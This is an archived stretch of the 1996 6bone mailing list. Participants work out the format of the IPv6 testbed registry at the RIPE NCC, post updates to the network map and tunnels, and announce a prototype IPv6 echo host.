Or would it be preferable (from the RIPE db standpoint) to have:

tunnel-src: 129.99.237.71
tunnel-dst: 192.31.7.41


Also of note we've been using network abbreviations for most locations that
have kind of evolved as handles -- e.g. UNH, NAS, Cisco, UNI-C, NETLAG ....etc.
Is this a practice we would like to incorporate in some manner? It makes it
easier for me to identify sites in a small amount of space and even in
discussions most people use the abbreviations. e.g.

site:		NAS, NASA Ames Research Center
site-handle:	NAS

In some cases the handle is obvious, but more than once when I site has been
referred to by its full name I had to look it up to realize what handle we'd
been referring to it as.


-- 
| Andrew Hoag      | MS 258-6                | Voice: (415) 604-4972 |
| Network Engineer | Moffett Field, CA 94035 |   Fax: (415) 604-4377 |
| High-Speed LAN   +------------------------+---+--------------------+
| NAS Facility     | http://www.gac.edu/~ahoag/ | ahoag@nas.nasa.gov |
--

From majordom@ISI.EDU  Wed Sep 18 09:14:16 1996
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References: Bob Fink LBNL <RLFink@lbl.gov>        "6bone sites registered"
 (Sep 18,  3:40pm) <v03007812ae6627be863e@[128.3.9.22]>
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Date: Wed, 18 Sep 1996 16:14:16 -0700
To: "Andrew J. Hoag" <ahoag@nas.nasa.gov>
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: 6bone sites registry
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Andrew,

>site:		NAS, NASA Ames Research Center
>site-handle:	NAS

Just realized that I should fix the map to show you as NAS, not NASA-Ames.


Thanks for all the other good words and input.


Bob



From majordom@ISI.EDU  Wed Sep 18 15:09:38 1996
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To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@ISI.EDU (6BONE Mailer)
Subject: Re: 6bone sites registered 
In-Reply-To: Your message of "Wed, 18 Sep 96 15:40:46 PDT."
             <v03007812ae6627be863e@[128.3.9.22]> 
Date: Wed, 18 Sep 96 19:09:38 -0400
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Bob,

I will register Digital (please folks not DEC).  
I think all being on RIPE NCC will work good.  If your not there then we
don't know about you.

On the tunnel topic.

I am sitting here looking at the map.  See the Cisco/US hub.  See all
the nodes its routing too.

I will in the next month with another partner offer an additional tunnel
to route to those same nodes and addtional nodes.  Cisco and Digital wil
be providing the same routing.  I have given my reasons for this in
other mail.  I will also have a router to WIDE Japan and directly back
to UNH bypassing NRL connection completely.

p.s. Showing the 6bone page and map to Interop attendees they are all
very impressed and with implementation status on IPng Page.

thanks
/jim



From majordom@ISI.EDU  Wed Sep 18 10:12:45 1996
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From: "Andrew J. Hoag" <ahoag@nas.nasa.gov>
Message-Id: <9609181712.ZM11994@rennsport.nas.nasa.gov>
Date: Wed, 18 Sep 1996 17:12:45 -0700
In-Reply-To: davidk@ISI.EDU
        "Re: 6bone sites registry" (Sep 18,  5:12pm)
References: <199609190012.AA05277@nam.isi.edu>
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> Also, it is often a good idea to add a version number and/or some
> protocol information for easy upgrading to newer/better formats in order
> to keep things backwards compatibility.
>
> Example:
>
> tunnel: IPv6 src 129.99.237.71 dst 192.31.7.41

Yes, of course you should include the version / protocol info for the tunnel. I
like that format there.


-- 
| Andrew Hoag      | MS 258-6                | Voice: (415) 604-4972 |
| Network Engineer | Moffett Field, CA 94035 |   Fax: (415) 604-4377 |
| High-Speed LAN   +------------------------+---+--------------------+
| NAS Facility     | http://www.gac.edu/~ahoag/ | ahoag@nas.nasa.gov |
--

From majordom@ISI.EDU  Wed Sep 18 10:17:35 1996
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Date: Wed, 18 Sep 1996 17:17:35 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: new 6bone diagram with hot pointers to RIPE-NCC registry
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I've made the 6bone map have hot buttons to the RIPE-NCC registry database.

The shaded nodes are hot buttons, the blank ones have no registry.

Hopefully this helps the folks who want more info on the map as well.


Bob



From majordom@ISI.EDU  Thu Sep 19 12:02:04 1996
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Message-Id: <199609190802.KAA19367@givry.inria.fr>
From: Francis Dupont <Francis.Dupont@inria.fr>
To: rob.glenn@nist.gov
Cc: 6bone@isi.edu
Subject: Re: Question regarding RFC1897? 
In-Reply-To: Your message of Wed, 18 Sep 1996 12:33:16 EDT.
             <199609181633.MAA05421@sloth.ncsl.nist.gov> 
Date: Thu, 19 Sep 1996 10:02:04 +0200
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 In your previous mail you wrote:

   While setting up our internal networks and DNS with RFC1897 addresses,
   I became puzzled by the address format.
   
   Assuming that there are very good reasons to use the *providers* ASN,
   wouldn't it make more sense to use the IPv4 Network Address to represent
   the Network Address given to you by the provider?  In other words
   If you have a class A address the IPv4 Network Address field would be
   0x0000AA, class B address would be 0x00BBBB, and so on.   Then the Subnet 
   field could contain the remaining bits.
   
=> in the current RFC the network number are "big endiens",
ie 0xAA0000, 0xBBBB00, 0xCCCCCC but it doesn't matter.

   As it is currently defined, it is difficult to setup reverse DNS records.
   Providers will have to maintain records for each IPv4 subnet that sites
   want to run with IPv6.  Collisions may occur when sites don't work with
   their providers.  Or in some cases, sites won't setup the reverse DNS just 
   to avoid this problem. 
   
=> I don't see any problem, you have just to work with your provider.
It is already the case for IPv4 networks since CIDR...
Don't forget for the reverse domains any reasonnable BIND version is
enough because they use only PTR RRs.

   Ofcourse, if you use your own ASN, the problems go away. 
   
=> which ASN ? You can have many ASN, the provider ASN is registered
then without ambiguity. You have a better aggregation too (perhaps
not as good as we'd like to get).
Providers will be involved when you'll use the provider-based addressing
scheme then I think it is a good thing to involve them without
real burden today...

Regards

Francis.Dupont@inria.fr

From majordom@ISI.EDU  Thu Sep 19 13:56:21 1996
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To: 6bone@isi.edu
Subject: Re: RIPE routing registry
From: Geert Jan de Groot <GeertJan.deGroot@ripe.net>
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Hi folks,

I'm a little slow on mail as there is a meeting of the RIPE 
community next week, and the RIPE NCC is organizing that meeting.

As I'm getting more and more questions on how to get write access,
I'll re-post the original announcement below.

Basically, I'd like to make the directory completely public
writable, but I am concerned about people installing
make_money_fast.txt files and similar misbehaviour.
For this reason, I added a 'group password', which is
a shared secret for all the 6bone folks.

In short, if you want to write files there, do:
$ ftp.ftp.ripe.net
Name: anonymous
Password: yourname@your.domain
cd ipv6/ip6rr
site group ip6rr
site gpass 6bone
(now you can write files there)

I still want to answer each comment individually but may not be able
to do so before the end of the meeting next week; my apologies.

Geert Jan

---

The 6bone, certainly in its current state, is quite a bit different
from the regular IP4 network we all know. To rephrase, the 6bone 
in its current state, is
- A virtual network
- Exists of a dozen islands or so
- Multiple prefixes on an island are possible
- (for now), routes between islands are configured statically.
- DNS IP6 is till in the startup phase and I think it's unwise to
  depend on it now.

While the IPv4 RR uses IP addresses as its main search key,
that is probably not very useful for the 6bone. Instead, 
I think that it is more important to find out about other islands
on 6bone and how to get there.

IPv6 index capabilities have been added in the RIPE database software
last week. However, at this stage the database is not as useful
as I want it to be because it is prefix-based too, and it it
not possible to ask 'give me all the islands' currently.
Also, I expect that the 6bone requirements are going to change
fairly soon as the thing evolves.
For this reason, I propose to use a public FTP server as drop-point
at this time, but at the same time keep the data in the 'database'
machine-readable as much as possible to allow for easy migration
to the database as soon as there is a need for it.
Using the FTP server now gives a little extra flexability which
is probably useful at this stage. For instance, 'mget *'
gets you a complete overview of the 6bone.

To access the FTP 'database', use the following url:
	ftp://ftp.ripe.net/ipv6/ip6rr/
While I would like to have a public writable FTP directory,
I'm concerned about people deleting files, adding 'makemoneyfast.txt'
files, etc. For this reason, I added a group password; it is OK
to publish the password on the 6bone list but it should probably
be a shared secret among list members
To get write-access, use:
	site group ip6rr
	site gpass 6bone

For those who have never used the RIPE-database before, I think that
a short introduction is helpful (while we don't use the database,
we'll use the database format). 
The attributes for objects in the database have the following format:
	attribute1:	value
	attribute2:	value
This helps to make the data machine-readable.
Attributes can be mandatory or optional.
Likewise, some attributes may only be allowed in single instances,
while other attributes can have multiple instances.

To introduce the proposed format, I'd like to show how our entry
might look like:

site:		RIPE NCC
location:	Amsterdam, The Netherlands
loc-string:	33 40 10n 117 49 20w 10m
prefix:		5f0d:0500:c100:0000/64
ping:		5f0d:0500:c100:0000::234
tunnel:		193.0.0.234 10.10.10.10 other-site
contact:	IP6 operations <ip6ops@ripe.net>
status:		example
remark:		this is only an example!
changed:	GeertJan.deGroot@ripe.net 960725
source:		RIPE

Attiribute-definition:
site:	<text> [single, mandatory]
	This is the name of the 'island' in freetext format.
	Obvious examples are 'NRL', 'Digital', 'INRIA', ...

location: <text> [multiple, optional]
	This explains where the site is located.

loc-string: <text> [single, optional?]
	This is the location in lat/longitude format. 
	There is a proposal in draft-ietf-rps-location-00.txt
	which I'm copying as I have not thought about this myself yet.

prefix:	<ip6num>/<prefixlen> [multiple, mandatory]
	This documents which prefixes are used within the island.
	I hope this will be sufficient for 'route add' statements
	and the like. They should be RFC1897 addresses at this time.
	XXX ip6 compatible addresses?

ping:	<ip6num> [multiple, optional]
	Address of a host that is likely to be available to ping.

tunnel:	<myhost> <remotehost> <other-site> [multiple, mandatory]
	This documents how a tunnel is built. I'm not really
	confident if this is sufficient in all cases
	(automatic tunneling? single hosts? 'native' IPv6 lines?).
	other-site should be the name of another site: object.

contact: <rfc822-address> [multiple, mandatory]
	The contact address for this island, for setup of new
	tunnels and all that. It has been suggested to me that
	NIC-handles (or RIPE-handles) should also be accepted here;
	is this acceptable to the group?

status:	<operational/planned/down> [single, mandatory]
	The operational status of the island. 

remark:	<freetext> [multiple, optional]
	Other useful comments you may have

changed: <rfc822-address> <date-yymmdd> [multiple, mandatory]
	When the object was last changed, and by whom. While
	people are primary responsible for their objects themselves,
	experience has shown that in some cases others might
	want to make a change too. 
	If you're changing your own object, replace the changed: line;
	if you're changing someone else's, append a new line and leave
	the old one intact.

source:	<RIPE> [single, mandatory]
	This is used for for exchange of data with other databases.
	It is currently a fixed value, 'RIPE'.


Open issues:
1. I'm not confident about the tunnel syntax. I'd like to make it complete
   enough so that one stands a fighting chance setting up the local end
   of a tunnel correctly (so that one only has to send 'this is my end;
   I assume that's your end, can we tunnel') but I don't know if
   all cases can be described accurately.
   (single hosts with automatic tunneling?)
2. Do you think that the latitude/longitude thing is sufficient?
   I wouldn't know how to get to this information easily
   (the data in the example is from the draft and thus somewhere
   in California..)
3. In the 'regular' database, contact persons are split up in 
   administrative and technical contacts, and the contact names
   point recursively to 'person objects'.
   (for those who never have seen this, telnet to whois.ripe.net
   and play around if you want).
   I don't think that that approach is appropiate at this time;
   we can always migrate to it once we're using the database.
4. Work on the database version is in progress, thanks to work
   by its current maintainer, David Kessens. 
   This is an example of what is possible now:
   (keep in mind that the data is completely fake but the
   lookup mechanism works..)

	$ whoisd -r -M 0000:0000:0000:0000:0000:0000:0000:008e/126

	**************************************************
	* This is the TEST version of the RIPE database, *
	* please use whois.ripe.net for normal queries!  *
	**************************************************

	% Server is running at low priority for -M, -m and -k queries

	inet6num:    ::8F/128
	netname:     ip61
	descr:       Norwegian Information Technology network
	country:     NO
	admin-c:     Asbjoern Saetran
	tech-c:      Jan Holthe
	changed:     Havard.Eidnes@runit.sintef.no 921006
	changed:     ripe-dbm@ripe.net 921007
	source:      TEST

	inet6num:    ::8E/127
	netname:     ip62
	descr:       Norwegian Information Technology network
	country:     NO
	admin-c:     Asbjoern Saetran
	tech-c:      Jan Holthe
	changed:     Havard.Eidnes@runit.sintef.no 921006
	changed:     ripe-dbm@ripe.net 921007
	source:      TEST

   So, when it starts to make sense to store this data in a database,
   we can. 


That's as far as I got. Please advise if you think this is useful,
or if I'm way off. 



From majordom@ISI.EDU  Thu Sep 19 01:07:04 1996
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In-Reply-To: <199609190113.KAA14982@onoe2.sm.sony.co.jp>
References: Your message of "Wed, 18 Sep 1996 17:17:35 -0700"
 <v03007817ae66413282c9@[128.3.9.22]>
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Date: Thu, 19 Sep 1996 08:07:04 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: new 6bone diagram with WIDE/JP registered
Cc: Atsushi Onoe <onoe@sm.sony.co.jp>
Sender: owner-6bone@ISI.EDU
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Eureka, 6bone folks are registering!

New version of map shows WIDE/JP shaded and pointing to their RIPE-NCC db
entry.


Thanks,

Bob

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
At 6:13 PM -0700 9/18/96, Atsushi Onoe wrote:
>Bob,
>
>I've registered WIDE to RIPE-NCC database.
>Please make hot button for WIDE :-)



From majordom@ISI.EDU  Thu Sep 19 01:11:37 1996
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References: <v03007811ae6622ea63ea@[128.3.9.22]> from "Bob Fink LBNL" at
 Sep 18, 96 03:15:40 pm
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Date: Thu, 19 Sep 1996 08:11:37 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone ,ap change - new tunnel from JOIN/DE to FAUERN/DE
Cc: Erich Meier <Erich.Meier@informatik.uni-erlangen.de>
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New 6bone map with Univ. of Erlangen (FAUERN - Friedrich Alexander
Universitaet Erlangen/Nuernberg) tunneling to JOIN/DE.

=46AUERN is registered!!


Thanks,

Bob

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
At 12:58 AM -0700 9/19/96, Erich Meier wrote:
>Bob,
>
>> I see that the Univ. of Erlangen (FAUERN) has made an entry in the RIPE-N=
CC
>> 6bone registry.  The tunnel info says that you are connected to JOIN/DE.
>>
>> The question is, if it is operational as your RIPE entry says, shall I ad=
d
>> you to the 6bone diagram?
>
>Why not? Maybe you should contact join@uni-muenster.de for information abou=
t
>further tunnels in .de. As to my knowledge the JOIN project tries to set up
>(more or less internal) tunnels for the german academic research network
>(WiN).
>
>If you need further details about our IPv6 infrastructure beyond the RIPE
>entry feel free to ask.
>
>About operational, well sure it is, if this d**d Solaris Release 5.1 stuff
>would
>not freeze my 6bone gateway every few hours :-(((.
>
>Erich




From majordom@ISI.EDU  Thu Sep 19 19:44:18 1996
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To: wling@baynetworks.com (Wenken Ling)
Cc: 6bone@isi.edu
From: Geert Jan de Groot <GeertJan.deGroot@ripe.net>
X-Organization: RIPE Network Coordination Centre
X-Phone: +31 20 592 5065
Subject: Re: RIPE routing registry 
In-Reply-To: Your message of "Thu, 19 Sep 1996 10:48:36 EDT."
             <9609191448.AA14074@pobox.BayNetworks.com> 
Date: Thu, 19 Sep 1996 17:44:18 +0200
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> I was just trying to ftp BAY's registry file to the 
> registry area.  The "site group ip6rr" command does not
> seem to work.  I get an invalid command when I try
> this.  Please let me know what I should do to get 
> my entry installed.

My apologies for not realizing that the FTP site command wasn't
always part of FTP...

Can you try:
quote site group ip6rr
quote site gpass 6bone

Thanks,

Geert Jan

From majordom@ISI.EDU  Thu Sep 19 07:58:45 1996
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Date: Thu, 19 Sep 1996 14:58:45 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: new map - lots of changes
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Thanks to everyone for all the registry action.

At this time only the following aren't registered:

	Telebit
	Sun
	Inner
	NRL
	Kohala
	UManch.

Of these, two are new tunnels:

	UManchester/UK sitting between NRL/US and UL/PT
	Kohala/US on a tunnel to CISCO/US

Welcome!


Thanks!!

Bob

PS:  note that the hot button format of the diagram needs Netscape 2 client
coordinate mapping to work.



From majordom@ISI.EDU  Thu Sep 19 09:43:42 1996
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From: rstevens@kohala.com (W. Richard Stevens)
Date: Thu, 19 Sep 1996 16:43:42 -0700
Reply-To: "W. Richard Stevens" <rstevens@kohala.com>
X-Phone: +1 520 297 9416
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[In a message of Sep 19, 11:56am Geert Jan de Groot writes:]
> 
> loc-string: <text> [single, optional?]
> 	This is the location in lat/longitude format. 
> 	There is a proposal in draft-ietf-rps-location-00.txt
> 	which I'm copying as I have not thought about this myself yet.

If anyone is interested (US sites), http://tiger.census.gov lets you
enter a zip code and then draws a map of the area, allowing you to
then zoom in on your exact location (identifiable by streets).  You
can then read off the exact latitude and longitude.

	Rich Stevens

From majordom@ISI.EDU  Fri Sep 20 01:26:42 1996
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Date: Fri, 20 Sep 1996 08:26:42 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map change
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6bone diagram version 20, 20 September.

Some error corrections.

Some name changes.

Some newly registered sites.

The hot buttons for the 6bone registry entries are now just the node, not
the name.  This will allow me to use the name in the future for pointers to
other info.


Just a few left to register.  If I can get all registered sooner than 1
Dec, I will then require all new sites to register before they are entered,
which will save me time and work.


I'm still concerned that we all share the same registry data structure so
we can eventually automate much of this!


Keep it coming...gee, this is fun :-)


Thanks.

Bob



From majordom@ISI.EDU  Mon Sep 23 17:51:41 1996
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Date: Mon, 23 Sep 1996 15:51:41 +0200
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There was an error in the SICS entry in the RIPE database. The prefix for SICS 
should be 5f0b:1700::/32, and nothing else. I have fixed that now. Sorry!

Peter

From majordom@ISI.EDU  Mon Sep 23 00:01:54 1996
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Date: Mon, 23 Sep 1996 07:01:54 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map change - add tunnels from JOIN to ESNET and TELEBIT
Cc: JOIN Project Team <join@uni-muenster.de>
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6bone diagram 21:

Added tunnels from JOIN to ESNET and from JOIN to TELEBIT.

U Manchester (UMAN/UK) now is registered.


Thanks,

Bob

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
Date: Mon, 23 Sep 1996 12:39:05 +0200 (MET DST)
=46rom: JOIN Project Team <join@uni-muenster.de>
To: RLFink@lbl.gov
Subject: new tunnel(s)

Hello Bob,

we configured a new 6bone tunnel between JOIN and ESnet.
I just included the tunnel info into our RIPE registry entry
(ftp://ftp.ripe.net/ipv6/ip6rr/JOIN) - i think ESnet will do so later
today.

Another tunnel is up and running between JOIN and Telebit (using
IDRPv6 :-). This tunnel info is also included in our registry (and i did
remember the guys from Telebit to download there registration ;-) ...

Thanks, all the best
  Guido

----------------------------------------------------------------------------=
--
JOIN -- IP Version 6 in the WiN   Guido Wessendorf
        A project of DFN          Westfaelische Wilhelms-Universitaet Muenst=
er
Project Team email:               Universitaetsrechenzentrum
           join@uni-muenster.de   Einsteinstrasse 60
http://www.join.uni-muenster.de   D-48149 Muenster / Germany

phone: ++49 251 83 8459, fax: ++49 251 83 2678, email: wessend@uni-muenster.=
de
----------------------------------------------------------------------------=
--
=00



From majordom@ISI.EDU  Mon Sep 23 01:06:07 1996
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Date: Mon, 23 Sep 1996 08:06:07 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: Re: Submitting logo
Cc: "Brad St. Pierre" <brads@webwurx.com>
Sender: owner-6bone@ISI.EDU
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Brad St Pierre has submitted a new 6bone logo entry in three variants.

As before, you can view them at:

	http://www-6bone.lbl.gov/6bone/logos/6bone_logos.html


It is still my intention to have a logo vote before the December IETF and
make a bunch of t-shirts with the winning logo.

Anyone have any clever ideas of text to go along with the logo and how to
place it?

=46or example, "the 6bone - IPv6 to the next generation Internet", or some
such.   Ideas please !  :-)


Thanks,

Bob

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
At 7:32 PM -0700 7/3/96, Brad St. Pierre wrote:
>Here's 3 logo's that I quickly made (I'm really busy). I will be making
>more when I think of some.
>
>The images are at this address:
>
>http://www.hurry.com/6bone/6bone.htm
>
>
>(=3D=3D Brad St Pierre =3D=3D)
>- Graphic Designer
>- 3D Designer/Animator
>
>(=3D=3DOne of my creations=3D=3D)
>http://www.thearcade.com




From majordom@ISI.EDU  Mon Sep 23 07:25:21 1996
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To: Bob Fink LBNL <RLFink@lbl.gov>
Cc: 6bone@ISI.EDU (6BONE Mailer)
Subject: Re: 6bone map change 
In-Reply-To: Your message of "Fri, 20 Sep 96 08:26:42 PDT."
             <v03007807ae6867139a8b@[128.3.9.22]> 
Date: Mon, 23 Sep 96 11:25:21 -0400
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Geert/Bob/Andrew,

Good job. 

thanks for your leadership and work,
/jim

From majordom@ISI.EDU  Mon Sep 23 08:42:15 1996
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From: Gary Veum <veum@cobra.gsfc.nasa.gov>
Organization: NASA/GSFC
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Subject: need a new tunnel to nasa/gsfc
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hi,
i'm at nasa/gsfc (east coast)with a a some ipv6 machines.  i have both
dec and sun boxes.  can someone who could provide me a tunnel contact
me?

thanks.

-gary
------------------------------------------------------------------------
Gary Veum
NASA / Goddard Space Flight Center		veum@cobra.gsfc.nasa.gov      
Code 505 / Hughes/STX  				PHONE   301-614-5153
Greenbelt MD 20771				FAX     301-614-5270

	"responsbility is a heavy responsibility"  -  Tommy Chong

From majordom@ISI.EDU  Mon Sep 23 04:19:50 1996
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From: "Andrew J. Hoag" <ahoag@nas.nasa.gov>
Message-Id: <9609231119.ZM7609@rennsport.nas.nasa.gov>
Date: Mon, 23 Sep 1996 11:19:50 -0700
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To: GeertJan.deGroot@ripe.net
Subject: 6bone Registry
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Geert Jan:

First off, I am extremely glad the 6bone routing registry has taken off like it
has. This should make things easier for all of us and benefit the 6bone's
future... I appreciate your initiative in getting this going. In moving towards
some sort of standard format, I would like to propose the following
additions/enhancements to the 6bone registry:


# Require 'loc-string' compliance with RFC1876 (DNS LOC RR format)... Some sort
of standard method needs to be defined here, and since we have RFC1876, might
as well use that as the standard. (Maybe that's what you are already using?)


# Make the tunnel format more clear; my specific thoughts are to do something
like the following:

tunnel: <encapsulated> in <encapsulating> src <srcpt> [srchandle] dst <dstpt>
[dsthandle]

e.g. tunnel: IPv6 in IPv4 src 129.99.237.71 NAS dst 192.31.7.41 Cisco

This makes it perfectly clear what is being tunnelled, and over what. I feel
this would be the most extensible format for future use. (Also note the
implications of a digraph network format as opposed to bidirectional tunnels).
Of course, if we are just concerned about the here and now a more brief and
simpler tunnel format  (ala 'tunnel: <endpt1> <endpt2>') may be sufficient.

Any variations on the above are encouraged. I tend to lean towards the verbose,
plus the previous makes for fairly easy regexp matching. :-)


# Include the "site:" tag or similar for a site handle. This site handle then
would be the filenames you are using in the registry and would uniquely
identify a particular 6bone node. (node in the 6bone overview sense)


These ideas are a culmination of discussions between myself, Bob Fink, David K,
and other members of the list. As soon as some sort of standard is implemented,
we can move ahead with some more automation and other enhancements.


Comments / feedback requested!

-- 
| Andrew Hoag      | MS 258-6                | Voice: (415) 604-4972 |
| Network Engineer | Moffett Field, CA 94035 |   Fax: (415) 604-4377 |
| High-Speed LAN   +------------------------+---+--------------------+
| NAS Facility     | http://www.gac.edu/~ahoag/ | ahoag@nas.nasa.gov |
--

From majordom@ISI.EDU  Mon Sep 23 04:48:05 1996
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From: "Andrew J. Hoag" <ahoag@nas.nasa.gov>
Message-Id: <9609231148.ZM7690@rennsport.nas.nasa.gov>
Date: Mon, 23 Sep 1996 11:48:05 -0700
In-Reply-To: rja@cisco.com (Ran Atkinson)
        "Re: 6bone Registry" (Sep 23, 11:41am)
References: <199609231841.LAA02980@cornpuffs.cisco.com>
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On Sep 23, 11:41am, Ran Atkinson wrote:
> Subject: Re: 6bone Registry
> Sounds useful to me, except that we ought to insist that tunnels be
> bidirectional for now (unidirectional tunnels are too hard to test
> and are of limited value operationally) and keep the tunnel entry
> format simple, IMHO.

True, and if we do include the handle along with the addresses of the
endpoints, that would clear up which was which. We then could eliminate the
'src' and 'dst' keywords and end up with something like:

tunnel: IPv6 in IPv4 129.99.236.71 NAS to 192.xxx.xxx.xxx Cisco

The insertion of the "to" keywoard could replace "src" & "dst" while still
delimiting the string somewhat.

Of course, we can over-engineer this, so hopefully Geert Jan can take our
suggestions and come up with something we can live with. :-)


-- 
| Andrew Hoag      | MS 258-6                | Voice: (415) 604-4972 |
| Network Engineer | Moffett Field, CA 94035 |   Fax: (415) 604-4377 |
| High-Speed LAN   +------------------------+---+--------------------+
| NAS Facility     | http://www.gac.edu/~ahoag/ | ahoag@nas.nasa.gov |
--

From majordom@ISI.EDU  Mon Sep 23 05:59:20 1996
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 (Sep 23,  8:06am) <v03007802ae6c565c425b@[128.3.9.22]>
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Date: Mon, 23 Sep 1996 12:59:20 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink LBNL <RLFink@lbl.gov>
Subject: 6bone map change - Add tunnel from G6/FR to NIST/US.
Cc: "Alain Durand" <Alain.Durand@imag.fr>
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6bone drawing 22:

Add tunnel from G6/FR to NIST/US.


Bob

=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
At 11:31 AM -0700 9/23/96, Alain Durand wrote:
>Hi bob
>
>There is a new tunnel between G6 and NIST. I have updated the G6 entry
>of the RIPE database. Also note that G6 now connects 6 different sites in
>france under our common prefix 5f06:b500::/32
>
>	- Alain.




From majordom@ISI.EDU  Mon Sep 23 06:47:19 1996
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Subject: Re: 6bone Registry
To: ahoag@nas.nasa.gov (Andrew J. Hoag)
Date: Mon, 23 Sep 1996 13:47:19 -0700 (PDT)
Cc: 6bone@ISI.EDU
In-Reply-To: <9609231148.ZM7690@rennsport.nas.nasa.gov> from "Andrew J. Hoag" at Sep 23, 96 11:48:05 am
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Hi Andrew,

> Andrew J. Hoag writes :
> 
> On Sep 23, 11:41am, Ran Atkinson wrote:
> > Subject: Re: 6bone Registry
> > Sounds useful to me, except that we ought to insist that tunnels be
> > bidirectional for now (unidirectional tunnels are too hard to test
> > and are of limited value operationally) and keep the tunnel entry
> > format simple, IMHO.
> 
> True, and if we do include the handle along with the addresses of the
> endpoints, that would clear up which was which. We then could eliminate the
> 'src' and 'dst' keywords and end up with something like:
> 
> tunnel: IPv6 in IPv4 129.99.236.71 NAS to 192.xxx.xxx.xxx Cisco
> 
> The insertion of the "to" keywoard could replace "src" & "dst" while still
> delimiting the string somewhat.

I like this idea. You might want to substitute 'to' by <-> for
bidirectional tunnels and ->/<- for unidirectional tunnels (this might be
an academic possibility, but who knows ?). This also avoids alpha-numeric
characters and thus makes it easier for the software (and may be even for
humans) to parse the tunnel line in the right parts.

tunnel: IPv6 in IPv4 129.99.236.71 NAS <-> 192.xxx.xxx.xxx Cisco

> Of course, we can over-engineer this, so hopefully Geert Jan can take our
> suggestions and come up with something we can live with. :-)

We can also do a simplification and see if it makes things more clear or
not. The first site name is not really necessary if the first IP address
is by default local to the site (in this case NAS):

tunnel: IPv6 in IPv4 129.99.236.71 <-> 192.xxx.xxx.xxx Cisco

And one step further:

tunnel: IPv6 in IPv4 129.99.236.71 <-> 192.xxx.xxx.xxx

The IP addresses already determines where the tunnel is going to. The
database software is capable enough of finding the site names that have
tunnels with a certain IP address on run time. This also avoids data
duplication problems which is usually not a bad idea in database design ...

The software could still return with:

tunnel: IPv6 in IPv4 129.99.236.71 <-> 192.xxx.xxx.xxx Cisco

or

tunnel: IPv6 in IPv4 129.99.236.71 NAS <-> 192.xxx.xxx.xxx Cisco

when people use the whois query mechanism for humans (=default mode).

What are the opinions of the other people ?

David K.


From majordom@ISI.EDU  Mon Sep 23 07:06:50 1996
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To: 6bone@isi.edu, "Craig Partridge" <craig@bbn.com>
Subject: prototype IPv6 echo host available
Date: Mon, 23 Sep 1996 14:06:50 -0700
From: "Kevin M. Lahey" <kml@nas.nasa.gov>
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A prototype IPv6 echo host is now availble at echo.ipv6.nas.nasa.gov
(5f01:2900:8163:cd00::2).  The implementation is based on Craig Partridge's
description of echo hosts in draft-rfced-exp-partridge-00.txt:

   An IP echo host returns IP datagrams to their original source host,
   with the IP source and destination addresses reversed, so that the
   returning datagram appears to be coming from the echo host to the
   original source.  IP echo hosts are tremendously useful for debugging
   applications and protocols.  They allow researchers to create looped
   back conversations across the Internet, exposing their traffic to all
   the vagaries of Internet behavior (congestion, cross traffic,
   variable round-trip times and the like) without having to distribute
   prototype software to a large number of test machines.

The prototype implementation is intentionally conservative:  It rejects
packets with loopback, local, site, multicast, IPv4 compatibility or
IPv4 mapped source addresses,  packets with next header fields other
than UDP or TCP, and packets with non-zero flow ids.

If the 6bone community finds this service useful, I'll be happy to put
in the work to remove most of these restrictions.  If no one uses it,
I'll probably drop support for it when I next upgrade the system, in a
few more weeks.

Enjoy,

Kevin

From majordom@ISI.EDU  Mon Sep 23 07:15:53 1996
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Subject: Re: 6bone Registry
To: ahoag@nas.nasa.gov (Andrew J. Hoag)
Date: Mon, 23 Sep 1996 14:15:53 -0700 (PDT)
Cc: 6bone@isi.edu
In-Reply-To: <9609231348.ZM7957@rennsport.nas.nasa.gov> from "Andrew J. Hoag" at Sep 23, 96 01:48:11 pm
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Hi Andrew,

> Andrew J. Hoag writes :
> 
> That was my initial reasoning for the "src" keyword or at least listing the
> source IP first. Then you could switch them around:
> 
> site:	NAS
> tunnel: IPv6 in IPv6 dst 192.xxx.xxx.xxx Cisco src 129.99.236.71 NAS
> 
> without worrying about it. But since this will go eventually into a database, I
> would argue for requiring the "local" endpoint first.

Yes, but the dst/src keyword addition has one advantage:

The software can never find out which IP address is at which point of the
tunnel and thus is syntax checking less reliable. Also, the software can
automatically rearrange the order to have the src IP address listed first
in the attribute line.

The only possible check without the src/dst keywords is the check if the
